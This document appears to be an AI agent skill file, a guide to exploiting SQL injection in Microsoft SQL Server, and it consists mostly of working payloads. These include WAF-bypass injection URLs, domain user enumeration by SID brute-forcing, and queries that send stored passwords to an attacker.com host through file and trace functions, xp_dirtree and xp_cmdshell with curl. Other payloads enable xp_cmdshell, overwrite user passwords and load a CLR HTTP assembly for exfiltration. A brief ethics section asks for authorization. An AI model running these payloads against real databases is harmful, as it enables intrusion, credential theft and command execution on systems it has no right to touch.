MSSQL Injection Exploitation

A comprehensive guide for exploiting SQL injection vulnerabilities in Microsoft SQL Server databases.

When to Use This Skill

Use this skill when:

• You've identified a SQL injection vulnerability and need to determine if it's MSSQL
• You need to enumerate Active Directory users from an MSSQL server
• You want to perform SSRF attacks through MSSQL functions
• You need to bypass WAFs that block standard SQL injection patterns
• You want to exfiltrate data from MSSQL databases efficiently
• You're working with MSSQL-specific stored procedures and functions

Quick Start

1. Identify MSSQL Server

First, confirm you're dealing with MSSQL by checking error messages or using version detection:

-- Check MSSQL version
SELECT @@version

-- Alternative version check
SELECT SERVERPROPERTY('productversion')

2. Enumerate Database Schema

-- Get all tables
SELECT table_name FROM information_schema.tables WHERE table_type='BASE TABLE'

-- Get columns from all tables
SELECT table_schema, table_name, column_name FROM information_schema.columns

-- Quick schema dump using FOR JSON (MSSQL 2016+)
SELECT * FROM information_schema.columns FOR JSON AUTO

Active Directory Enumeration

MSSQL servers often have access to Active Directory. You can enumerate domain users through SQL injection.

Get Domain Information

-- Get current domain name
SELECT DEFAULT_DOMAIN()

-- Get SID of domain Administrator (replace DOMAIN with actual domain)
SELECT master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\\Administrator'))

The SID will look like

0x01050000000[...]0000f401

. The last 4 bytes represent the RID (Relative ID) in big endian format.

0000f401

= 500 (Administrator's common RID).

Enumerate Domain Users

Use

SUSER_SNAME()

to convert SIDs to usernames. The domain portion of the SID stays constant; only the last 4 bytes (RID) change.

-- Get username for RID 1000 (typically first regular user)
SELECT SUSER_SNAME(0x0105000000000005150000001c00d1bcd181f1492bdfc2360000e803)

-- Brute force RIDs 1000-2000 to enumerate users
-- Use the script in scripts/enumerate_domain_users.py

Domain User Enumeration Script

Use

scripts/enumerate_domain_users.py

to generate SIDs for brute-forcing user RIDs:

python scripts/enumerate_domain_users.py --domain-sid "0x0105000000000005150000001c00d1bcd181f1492bdfc236" --start 1000 --end 2000

Error-Based Injection Vectors

Standard error-based patterns like

+AND+1=@@version--

are often blocked by WAFs. Use these alternative vectors:

String Concatenation Bypass

Use

%2b

(URL-encoded

+

) to concatenate strings with function results:

-- Using USER_NAME()
https://vuln.app/getItem?id=1'%2buser_name(@@version)--

-- Using SUSER_NAME()
https://vuln.app/getItem?id=1'%2bsuser_name(1)--

-- Using DB_NAME()
https://vuln.app/getItem?id=1'%2bdb_name()--

-- Using FILE_NAME()
https://vuln.app/getItem?id=1'%2bfile_name(1)--

-- Using TYPE_NAME()
https://vuln.app/getItem?id=1'%2btype_name(1)--

-- Using COL_NAME()
https://vuln.app/getItem?id=1'%2bcol_name(1,1)--

Functions That Trigger Type Conversion Errors

• SUSER_NAME()

  - Returns username for SID

• USER_NAME()

  - Returns database user name

• PERMISSIONS()

  - Returns permissions

• DB_NAME()

  - Returns database name

• FILE_NAME()

  - Returns file name

• TYPE_NAME()

  - Returns data type name

• COL_NAME()

  - Returns column name

SSRF via MSSQL Functions

MSSQL provides several functions that can trigger outbound network requests.

fn_xe_file_target_read_file

Requires

VIEW SERVER STATE

permission.

-- Check permission
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

-- Alternative check
USE master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

-- SSRF payload
SELECT * FROM fn_xe_file_target_read_file(
  'C:\*.xel',
  '\\' + (SELECT pass FROM users WHERE id=1) + '.attacker.com\1.xem',
  NULL, NULL
)

fn_get_audit_file

Requires

CONTROL SERVER

permission.

-- Check permission
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';

-- Alternative check
USE master;
EXEC sp_helprotect 'fn_get_audit_file';

-- SSRF payload
SELECT * FROM fn_get_audit_file(
  '\\' + (SELECT pass FROM users WHERE id=1) + '.attacker.com',
  DEFAULT, DEFAULT
)

fn_trace_gettable

Requires

CONTROL SERVER

permission.

-- Check permission
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';

-- Alternative check
USE master;
EXEC sp_helprotect 'fn_trace_gettable';

-- SSRF payload
SELECT * FROM fn_trace_gettable(
  '\\' + (SELECT pass FROM users WHERE id=1) + '.attacker.com\1.trc',
  DEFAULT
)

xp_dirtree, xp_fileexists, xp_subdirs

These stored procedures can make network requests (limited to TCP port 445 for xp_dirtree).

-- xp_dirtree example
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

-- xp_fileexists example
EXEC master..xp_fileexist '\\attacker-server\\share\\file.txt';

-- xp_subdirs example
EXEC master..xp_subdirs '\\attacker-server\\share';

xp_cmdshell

Execute system commands (requires enabling first):

-- Enable xp_cmdshell
EXEC sp_configure 'show advanced option', '1';
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', '1';
RECONFIGURE;

-- Execute command
EXEC xp_cmdshell 'whoami';

-- SSRF via curl/wget
EXEC xp_cmdshell 'curl http://attacker.com/?data=' + (SELECT pass FROM users WHERE id=1);

SQLHttp CLR Function

For advanced SSRF, create a CLR User Defined Function (requires

dbo

access):

1. Download the SQLHttp project from https://github.com/infiniteloopltd/SQLHttp
2. Build the assembly and add it to trusted assemblies:

EXEC sp_add_trusted_assembly 
  0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,
  N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

-- Create assembly
CREATE ASSEMBLY HttpDb FROM 'C:\path\to\HttpDb.dll';

-- Create function
CREATE FUNCTION http(@url varchar(max))
RETURNS varchar(max)
EXTERNAL NAME HttpDb.[UserDefinedFunctions].http;

-- Use the function
DECLARE @url varchar(max);
SET @url = 'http://attacker.com/?data=' + (SELECT pass FROM users WHERE id=1);
SELECT dbo.http(@url);

Quick Data Exfiltration

Retrieve Entire Table in One Query

Use

FOR JSON

clause (MSSQL 2016+) for concise data extraction:

-- Get all columns from all tables
SELECT * FROM information_schema.columns FOR JSON AUTO

-- With UNION injection
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--

-- For error-based vectors (requires alias)
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

Retrieve Current Query

View the currently executing query (requires

VIEW SERVER STATE

for all sessions):

SELECT text FROM sys.dm_exec_requests 
CROSS APPLY sys.dm_exec_sql_text(sql_handle)

-- Check permission
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

WAF Bypass Techniques

Non-Standard Whitespace

Use Unicode whitespace characters to bypass filters:

-- %C2%85 (Next Line) and %C2%A0 (Non-breaking space)
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

Scientific and Hex Notation

Obfuscate UNION keyword:

-- Scientific notation
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

-- Hex notation
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

Period Instead of Whitespace

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

Backslash-N Separator

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

Unorthodox Stacked Queries

MSSQL allows stacking queries without semicolons:

-- Standard stacked queries
SELECT 'a'; SELECT 'b';

-- Without semicolons (WAF bypass)
SELECT 'a' SELECT 'b'

-- Complex example
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Practical WAF Bypass Examples

-- Add useless exec() to confuse WAF
admina'union select 1,'admin','testtest123'exec('select 1')--

-- Direct password update
admin'exec('update[users]set[password]=''a''')--

-- Enable xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

Permission Checking

Always check what permissions you have before attempting techniques:

-- Check all server permissions
SELECT * FROM fn_my_permissions(NULL, 'SERVER');

-- Check specific permission
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';

-- Check procedure permissions
USE master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
EXEC sp_helprotect 'xp_cmdshell';

Safety and Ethics

• Only use these techniques on systems you have explicit authorization to test
• MSSQL injection can lead to full system compromise
• Document your findings and report vulnerabilities responsibly
• Be aware that some techniques (xp_cmdshell, CLR functions) require elevated privileges

References

• https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
• https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/
• https://github.com/infiniteloopltd/SQLHttp
• https://www.notsosecure.com/oob-exploitation-cheatsheet/
• https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/